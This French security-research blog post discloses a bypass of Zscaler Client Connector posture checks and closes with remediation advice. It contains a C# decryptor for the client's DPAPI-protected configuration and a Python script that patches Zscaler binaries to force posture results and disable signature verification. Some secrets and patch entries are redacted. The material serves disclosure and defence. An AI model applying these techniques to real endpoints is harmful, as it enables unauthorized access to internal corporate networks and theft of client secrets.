Faut-il faire confiance au zero trust ? Contourner les contrôles de posture Zscaler
Zscaler est largement utilisé pour appliquer les principes du zero trust en vérifiant la posture des appareils avant d’accorder l’accès aux ressources internes. Ces contrôles fournissent une couche de sécurité supplémentaire, au-delà des simples identifiants et MFA. Dans cet article, nous présentons une vulnérabilité qui nous a permis de contourner le mécanisme de vérification de posture de Zscaler. Bien que ce problème ait été corrigé depuis un certain temps, nous l’avons constaté encore exploitable dans plusieurs environnements lors de missions récentes. Ce post détaille la configuration du client Zscaler, les faiblesses de l’implémentation des contrôles de posture, ainsi que la manière dont nous les avons exploitées pour accéder aux réseaux internes sans respecter les conditions de sécurité requises.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
Introduction
Les contrôles de posture sont un élément clé des architectures zero trust. Ils permettent aux politiques de sécurité d’évaluer l’état d’un appareil avant d’autoriser l’accès aux ressources internes. Zscaler supporte un large éventail de contrôles de posture, aussi bien pour Zscaler Private Access (ZPA) que pour Zscaler Internet Access (ZIA), incluant, sans s’y limiter, la version du système d’exploitation, l’appartenance au domaine, le statut EDR, le chiffrement des disques, les clés de registre, le pare-feu, les certificats installés, ou la présence de fichiers ou applications spécifiques. La liste complète est disponible dans la documentation officielle : https://help.zscaler.com/zscaler-client-connector/configuring-device-posture-profiles
Ce mécanisme est particulièrement important car il apporte une défense en profondeur. En effet, les méthodes d'authentification classiques à base de mot de passe ne suffisent plus à elles seules, les attaques de phishing ou de vishing permettant de compromettre une session complète, même avec le MFA activé. En revanche, les contrôles de posture offrent aussi la possibilité de détecter silencieusement les points d’accès non conformes ou compromis, et de bloquer l’accès avant que des dégâts ne surviennent.
Lors de missions récentes, nous avons identifié que cette vérification était effectuée côté client. Par conséquent, il a été possible de contourner la vérification de posture sur les clients Zscaler en modifiant leur comportement local. Fait intéressant, ce problème avait déjà été corrigé en amont (silencieusement à notre connaissance) en 2024 (version 4.4), mais la vulnérabilité était encore observée à plusieurs reprises sur le terrain, ce qui motive la publication de cette recherche.
Dans ce post, nous analysons donc la configuration du client Zscaler, détaillons la technique de contournement, et fournissons des recommandations pour atténuer efficacement ce problème.
Analyse de la configuration
Après authentification réussie, le Client Connector reçoit les paramètres de configuration du serveur et les stocke chiffrés dans un fichier situé dans C:\ProgramData\Zscaler
. On y trouve notamment :
C:\> dir C:\ProgramData\Zscaler
Mode Length Name
---- ------ ----
-a---- 26958 7FAFA221E0B3AFA90C28F8A10FFD0304BB16E1D5++config.bak
-a---- 26958 7FAFA221E0B3AFA90C28F8A10FFD0304BB16E1D5++config.dat
-a---- 36120 f786aaef4216810bf8b6b8e1ea24a074.ztc
-a---- 308 users.dat
[...]
Parmi ces fichiers :
users.dat
contient une liste d’identifiants utilisateurs système, correspondant aux noms utilisés pour les fichiersconfig.dat
.config.dat
contient la configuration du Client Connector, incluant les secrets utilisateurs, les contrôles de posture, les exclusions de politiques, etc.- Les fichiers avec l’extension
.ztc
listent les fichiers PAC. - Les fichiers avec extensions
.mtt
,.mtc
,.mtp
concernent le tunnel machine Zscaler Private Access (ZPA) : tokens, secrets, politiques.
Ces fichiers sont chiffrés avec l’API Windows Data Protection API (DPAPI) combinée à une valeur d’entropie personnalisée. Ce chiffrement est réalisé via la bibliothèque ZSACredentialProvider.dll
située dans C:\Windows\System32
. Nous avons développé une routine de déchiffrement exploitant ce mécanisme, permettant d’extraire le contenu de configuration avec les privilèges SYSTEM
.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace Zscaler
{
public class Decrypt
{
public static void Main(string[] args) {
byte[] blob;
byte[] clear;
string mode = args[0];
string path = args[1];
byte[] entropy;
entropy = null;
if (mode == "users")
entropy = new byte[] {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
if (mode == "config") {
byte[] secret = Encoding.UTF8.GetBytes("[...]");
byte[] tmp = new byte[secret.Length];
byte[] sid = Encoding.UTF8.GetBytes(args[1]);
entropy = new byte[secret.Length/2];
path = args[2];
for (int i = 0; i < secret.Length; i++) {
tmp[i] = (byte) (sid[i] ^ secret[i]);
}
for (int i = 0; i < tmp.Length / 2; i++) {
entropy[i] = (byte) (tmp[i] ^ tmp[i+tmp.Length/2]);
}
}
blob = File.ReadAllBytes(path);
clear = ProtectedData.Unprotect(blob, entropy, DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
}
}
}
Le script de déchiffrement peut être compilé et exécuté comme suit :
C:\> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe decrypt.cs
C:\> .\decrypt.exe config '7F...D5' 'C:\ProgramData\Zscaler\7F...D5++config.dat'
Contournement des contrôles de posture
Le déchiffrement de config.dat
révèle que la section des contrôles de posture contient à la fois les valeurs demandées et les réponses attendues, ainsi que le statut actuel de chaque contrôle. Cela suggère fortement que la vérification de posture est entièrement effectuée côté client.
[
{ "name": "Global Certificate",
"postureId": 1000,
"type": 4,
"clientCerts": [{
"CACert": "LS0[...]Q0K",
"certName": "corp-ca.cer",
"nonExportable": true,
"performCRLcheck": true }]
},
{ "name": "Windows CrowdStrike",
"postureId": 1001,
"type": 11,
"crowdStrike": [{
"certificateThumbprintData": "cd4[...]51a",
"processNameData": "CSFalconService.exe" }]
},
{ "name": "Windows Firewall",
"postureId": 1002,
"type": 5,
"firewall": [{ "status": true }]
},
{ "name": "Windows Domain",
"postureId": 1003,
"type": 7,
"joinedDomains": [{ "domainName": "corp.local" }]
}
]
L’évaluation effective des contrôles de posture est réalisée dans le binaire ZSATrayManager.exe
. Son analyse montre que les contrôles se concluent par une logique proche du pseudo-code suivant :
if (check_passed)
result = 1;
else
result = 0;
return result;
Cela indique que tous les contrôles de posture sont bien évalués localement sur le client, le serveur ne recevant que les résultats booléens finaux.
En conséquence, un patch initial a été introduit dans ce binaire pour forcer les résultats des contrôles à toujours réussir côté client.
Cependant, les services internes de Zscaler communiquent via des canaux RPC qui garantissent l’intégrité client en validant que les processus connectés sont signés par Zscaler. Par exemple, on observe les points d’entrée RPC suivants :
C:\> accesschk64.exe -o '\RPC Control' | findstr ZSA
\RPC Control\ZSATray_talk_to_me
\RPC Control\ZSAService_talk_to_me
\RPC Control\ZSATrayManager_talk_to_me
\RPC Control\ZSATunnel_talk_to_me
Les journaux d’évènement confirment qu’avant l’établissement d’un canal RPC, les processus vérifient la signature du binaire s’y connectant :
C:\> Get-Content -Wait -Tail 0 C:\ProgramData\Zscaler\ZSATrayManager_2024-11-17-13-09-59.583579.log
INF ZSATrayManager RPC checking auth
INF Validating process for PID: 5428
INF Process Name: C:\Program Files\Zscaler\ZSATray\ZSATray.exe
INF Signer matches Zscaler SHA2 March 1, 2021
INF RPC connection from a Zscaler signed process
[...]
Chaque processus rejette les appels RPC provenant de binaires non signés, assurant ainsi l’intégrité des communications entre les composants Zscaler.
Pour contourner ces protections, des modifications ont donc été nécessaires sur plusieurs binaires signés, notamment :
ZSAService.exe
ZSATunnel.exe
ZSATrayManager.exe
ZSATrayHelper.dll
#/usr/bin/env python3
BIN_DIR = "binaries/"
RET_1 = "b8 01 00 00 00 C3"
XOR_EAX_EAX_NOP = "31 c0 90 90 90 90"
patches = {
'ZSATrayManager.exe': [
{
'pattern': '44 89 AC 24 80 02 00 00',
'value': 'C6 84 24 80 02 00 00 01',
'description': 'Set posture result to 1 (@0x0140256C39)'
},
{
'pattern': '48 89 5C 24 10 48 89 74 24 18 57 48 81 EC 50 02 00 00 48 8B 05 67 8E 80 00 48 33 C4 48 89 84 24 40 02 00 00',
'value': RET_1,
'description': 'NOP sub_1402EACB0 checking if process is signed'
},
[...]
],
'ZSAService.exe': [
{
'pattern': 'FF 15 CC BC 25 00',
'value': XOR_EAX_EAX_NOP,
'description': 'NOP call to WinVerifyTrust'
},
[...]
],
'ZSATrayHelper.dll': [
{
'pattern': '48 8B C4 57 48 81 EC 90 00 00 00 48 C7 40 98 FE FF FF FF 48 89 58 08 48 89 70 10',
'value': RET_1,
'description': 'NOP verifyZSAServiceFileSignature() (@0x1800F49D0)'
}
],
'ZSATunnel.exe': [
{
'pattern': '40 55 57 41 54 41 56 41 57 48 8D AC 24 30 E0 FF FF B8 D0 20 00 00 E8 35 BE 02 00 48 2B E0 48 C7',
'value': RET_1,
'description': 'NOP sub_140449A60'
},
[...]
]
}
def patch(patches):
for file in patches:
with open(BIN_DIR + file, 'r+b') as f:
print(f"[+] Patching {file}")
data = f.read()
for patch in patches[file]:
print(" - "+patch['description'])
offset = data.find(bytes.fromhex(patch['pattern']))
if offset == -1:
print(f" Pattern {patch['pattern']} not found, skipping")
continue
print(f" Found at 0x{offset:x}, patching...")
f.seek(offset)
f.write(bytes.fromhex(patch['value']))
print(" Patched!")
if __name__ == '__main__':
patch(patches)
Finalement, le remplacement des binaires légitimes par ces versions patchées a permis de contourner à la fois la validation des contrôles de posture et la vérification des signatures RPC, conduisant à ce que tous les contrôles rapportent un succès et à l’octroi d’un accès sans restriction aux ressources internes, conformément aux politiques configurées.
C:\> net view \\DC01
Share name Type Used as Comment
----------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
The command completed successfully.
Remédiation
Comme mentionné précédemment, cette vulnérabilité a été corrigée silencieusement dans la version 4.4 du Zscaler Client Connector en 2024. Toutefois, des échanges avec Zscaler ont souligné que l’application de ce patch côté serveur nécessite une mise à jour préalable de tous les clients, ce qui peut représenter un effort opérationnel conséquent. Malgré cela, la recommandation principale reste d’appliquer rapidement tous les correctifs disponibles.
Il est crucial d’imposer des contrôles de posture basés sur des éléments forts et résistants à la falsification, plutôt que sur des attributs faciles à usurper comme le nom de domaine. Les certificats clients validés par le serveur constituent un exemple robuste (voir la documentation Zscaler), ou à minima, les contrôles devraient s’appuyer sur la présence de valeurs aléatoires dans le registre, difficiles à contrefaire.
L’authentification multifactorielle doit aussi être appliquée de manière cohérente sur tous les points d’accès. À ce titre, les organisations doivent également éviter d’exclure les adresses IP publiques et partagées de Zscaler des exigences MFA, par exemple via des politiques d’accès conditionnelles Azure. Cette mauvaise configuration, fréquemment observée lors des audits, peut permettre à d’autres clients Zscaler de contourner le MFA. Bien que Zscaler propose des adresses IP sortantes dédiées, la meilleure approche reste d’exiger la MFA sans exception.
Enfin, nous recommandons d’ingérer les logs Zscaler dans votre SIEM afin de surveiller activement l’état de la posture des appareils. Détecter et investiguer les échecs des contrôles de posture peut offrir une visibilité précieuse sur des tentatives d’accès suspectes.
Conclusion
Les contrôles de posture restent une couche critique pour une sécurité en profondeur, complémentaire aux mécanismes traditionnels d’authentification. Cette recherche souligne que même les logiciels de sécurité nécessitent un audit approfondi afin de garantir que leurs protections ne peuvent pas être contournées.